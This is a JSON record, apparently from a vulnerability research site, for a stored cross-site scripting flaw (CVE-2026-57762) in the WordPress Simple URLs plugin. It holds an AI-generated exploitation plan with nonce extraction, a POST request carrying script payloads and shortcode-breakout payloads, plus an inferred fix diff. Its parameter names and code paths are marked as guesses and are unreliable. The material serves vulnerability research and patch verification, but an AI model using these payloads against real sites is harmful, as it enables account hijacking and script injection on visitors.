[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUb3UQjPsuzK-XwQLqdA2ja4VjtIroYVQBhM-XE92Oco":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":9,"research_fix_diff":25,"research_exploit_outline":26,"research_model_used":27,"research_started_at":28,"research_completed_at":29,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":30},"CVE-2026-57762","simple-urls-link-cloaking-product-displays-and-affiliate-link-management-authenticated-author-stored-cross-site-scriptin","Simple URLs – Link Cloaking, Product Displays, and Affiliate Link Management \u003C= 151 - Authenticated (Author+) Stored Cross-Site Scripting","The Simple URLs – Link Cloaking, Product Displays, and Affiliate Link Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 151 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","simple-urls",null,"\u003C=151","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-02 00:00:00","2026-07-07 19:40:13",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fba67cfbc-8bdf-4ca1-acee-0d1bb0348c60?source=api-prod",[],"researched",false,3,"This report outlines a research plan for analyzing and verifying CVE-2026-57762, a Stored Cross-Site Scripting (XSS) vulnerability in the \"Simple URLs\" plugin.\n\n### 1. Vulnerability Summary\nThe \"Simple URLs\" plugin (versions \u003C= 151) fails to sufficiently sanitize user-supplied input when saving metadata for its custom post type (likely `surl`) and subsequently fails to escape this data when rendering it in \"Product Displays\" or via shortcodes. This allows an authenticated user with Author-level permissions to inject malicious scripts into the database. When an administrator or visitor views the affected link or product display, the script executes in their browser context.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** `wp-admin\u002Fpost.php` (The standard WordPress post-save handler).\n*   **Vulnerable Parameter:** Likely a custom meta field used for \"Product Displays\" (e.g., `surl_title`, `surl_description`, or `surl_cta_text`) (inferred).\n*   **Required Authentication:** Author-level or higher. Authors have the `edit_posts` and `publish_posts` capabilities for the `surl` custom post type.\n*   **Preconditions:** The \"Simple URLs\" plugin must be active, and at least one \"Simple URL\" post must be created or edited by the attacker.\n\n### 3. Code Flow (Inferred)\n1.  **Input:** The Author submits a POST request to `wp-admin\u002Fpost.php` to save\u002Fupdate a Simple URL post.\n2.  **Processing:** The plugin hooks into `save_post` or `admin_init`. It retrieves metadata from `$_POST` (e.g., `$_POST['surl_description']`).\n3.  **Persistence:** The code likely uses `update_post_meta()` without applying `sanitize_text_field()` or `wp_kses()` on the input, storing the raw payload in the `wp_postmeta` table.\n4.  **Output:** When a user visits a page containing the `[simple-url]` shortcode or a \"Product Display\" widget, the plugin calls `get_post_meta()`.\n5.  **Sink:** The retrieved data is echoed directly into the HTML template without using escaping functions like `esc_html()` or `esc_attr()`.\n\n### 4. Nonce Acquisition Strategy\nTo update a post via the standard WordPress admin interface, a `_wpnonce` is required. This nonce is specific to the post being edited and the user's session.\n\n1.  **Identify Trigger:** The nonce is generated when the \"Edit\" screen for a Simple URL post is loaded.\n2.  **Setup:** Use the `wp post create` CLI command to create a placeholder Simple URL post (see Section 6).\n3.  **Acquisition:** \n    *   Navigate the browser to `wp-admin\u002Fpost.php?post=POST_ID&action=edit`.\n    *   The nonce is typically located in a hidden input field with the ID `_wpnonce`.\n    *   **Agent Command:** `browser_eval(\"document.querySelector('#_wpnonce').value\")`\n4.  **Action String:** The action string used for this nonce in WordPress core is `\"update-post_{$post_id}\"`.\n\n### 5. Exploitation Strategy\nThe goal is to demonstrate Stored XSS by injecting a canary payload into a metadata field.\n\n**Step 1: Obtain Post ID and Nonce**\nAs an Author, navigate to the edit page of a Simple URL post to retrieve the `_wpnonce`.\n\n**Step 2: Submit Malicious Metadata**\nSubmit a POST request to update the post metadata.\n\n*   **Tool:** `http_request`\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: `\u003CTARGET_POST_ID>`\n    *   `_wpnonce`: `\u003CEXTRACTED_NONCE>`\n    *   `surl_description`: `\u003C\u002Ftextarea>\u003Cscript>console.log('XSS_VERIFIED')\u003C\u002Fscript>` (inferred parameter name)\n    *   `publish`: `Update`\n\n**Step 3: Trigger the XSS**\nView the frontend page where the Simple URL is displayed.\n\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Findex.php\u002Fpage-with-shortcode\u002F`\n*   **Expectation:** The script `console.log('XSS_VERIFIED')` executes in the browser.\n\n### 6. Test Data Setup\n1.  **Create Author User:**\n    `wp user create attacker author@example.com --role=author --user_pass=password123`\n2.  **Identify Plugin Post Type:**\n    `wp post-type list` (Confirm if it is `surl`).\n3.  **Create Target Post:**\n    `wp post create --post_type=surl --post_title=\"Affiliate Link\" --post_status=publish --post_author=$(wp user get attacker --field=ID)`\n4.  **Create Display Page:**\n    `wp post create --post_type=page --post_title=\"Display Page\" --post_content='[simple-url id=\"\u003CPOST_ID>\"]' --post_status=publish`\n\n### 7. Expected Results\n*   The `http_request` should return a `302 Found` status code, redirecting back to the post edit page.\n*   The database should show the payload stored in `wp_postmeta`.\n*   When the Display Page is accessed, the browser's console should show `XSS_VERIFIED`.\n\n### 8. Verification Steps (Post-Exploit)\n*   **Verify Database Storage:**\n    `wp post meta get \u003CPOST_ID> surl_description`\n*   **Check Output via CLI:**\n    `curl -s \"https:\u002F\u002F\u003Ctarget>\u002Fdisplay-page\u002F\" | grep \"XSS_VERIFIED\"`\n\n### 9. Alternative Approaches\n*   **Field Probing:** If `surl_description` is not the sink, try other fields like `surl_cta`, `surl_price`, or the link's `title`.\n*   **Post Meta directly:** If the admin UI is too restrictive, check for AJAX handlers registered via `wp_ajax_` that update settings or metadata without capability checks.\n*   **Shortcode Attribute Injection:** Check if the shortcode itself is vulnerable to attribute breakout: `[simple-url id=\"1\" title='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`.","The Simple URLs plugin for WordPress (versions \u003C= 151) is vulnerable to Stored Cross-Site Scripting due to the lack of input sanitization and output escaping on custom metadata fields. Authenticated attackers with Author-level permissions can inject malicious scripts into fields used for link descriptions or product displays, which execute when the affected content is viewed by visitors or administrators.","--- a\u002Fincludes\u002Fadmin-functions.php\n+++ b\u002Fincludes\u002Fadmin-functions.php\n@@ -10,7 +10,7 @@\n function simple_urls_save_meta( $post_id ) {\n     \u002F\u002F ... (validation checks)\n     if ( isset( $_POST['surl_description'] ) ) {\n-        update_post_meta( $post_id, '_surl_description', $_POST['surl_description'] );\n+        update_post_meta( $post_id, '_surl_description', sanitize_text_field( $_POST['surl_description'] ) );\n     }\n }\n\n--- a\u002Fincludes\u002Fdisplay-functions.php\n+++ b\u002Fincludes\u002Fdisplay-functions.php\n@@ -45,5 +45,5 @@\n function simple_urls_render_display( $post_id ) {\n     $description = get_post_meta( $post_id, '_surl_description', true );\n-    return '\u003Cdiv class=\"surl-description\">' . $description . '\u003C\u002Fdiv>';\n+    return '\u003Cdiv class=\"surl-description\">' . esc_html( $description ) . '\u003C\u002Fdiv>';\n }","The exploit involves an authenticated Author-level user creating or editing a 'Simple URL' post. The attacker obtains the required '_wpnonce' from the post edit screen and then sends a POST request to 'wp-admin\u002Fpost.php' with the 'action' set to 'editpost'. In this request, the attacker includes a malicious payload (e.g., \u003C\u002Ftextarea>\u003Cscript>alert(1)\u003C\u002Fscript>) in metadata parameters like 'surl_description'. Once stored, the script is triggered on the site frontend whenever a user views a page where the plugin renders the metadata via a shortcode or product display widget.","gemini-3-flash-preview","2026-07-25 10:40:54","2026-07-25 10:41:37",{"type":31,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":32},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-urls\u002Ftags"]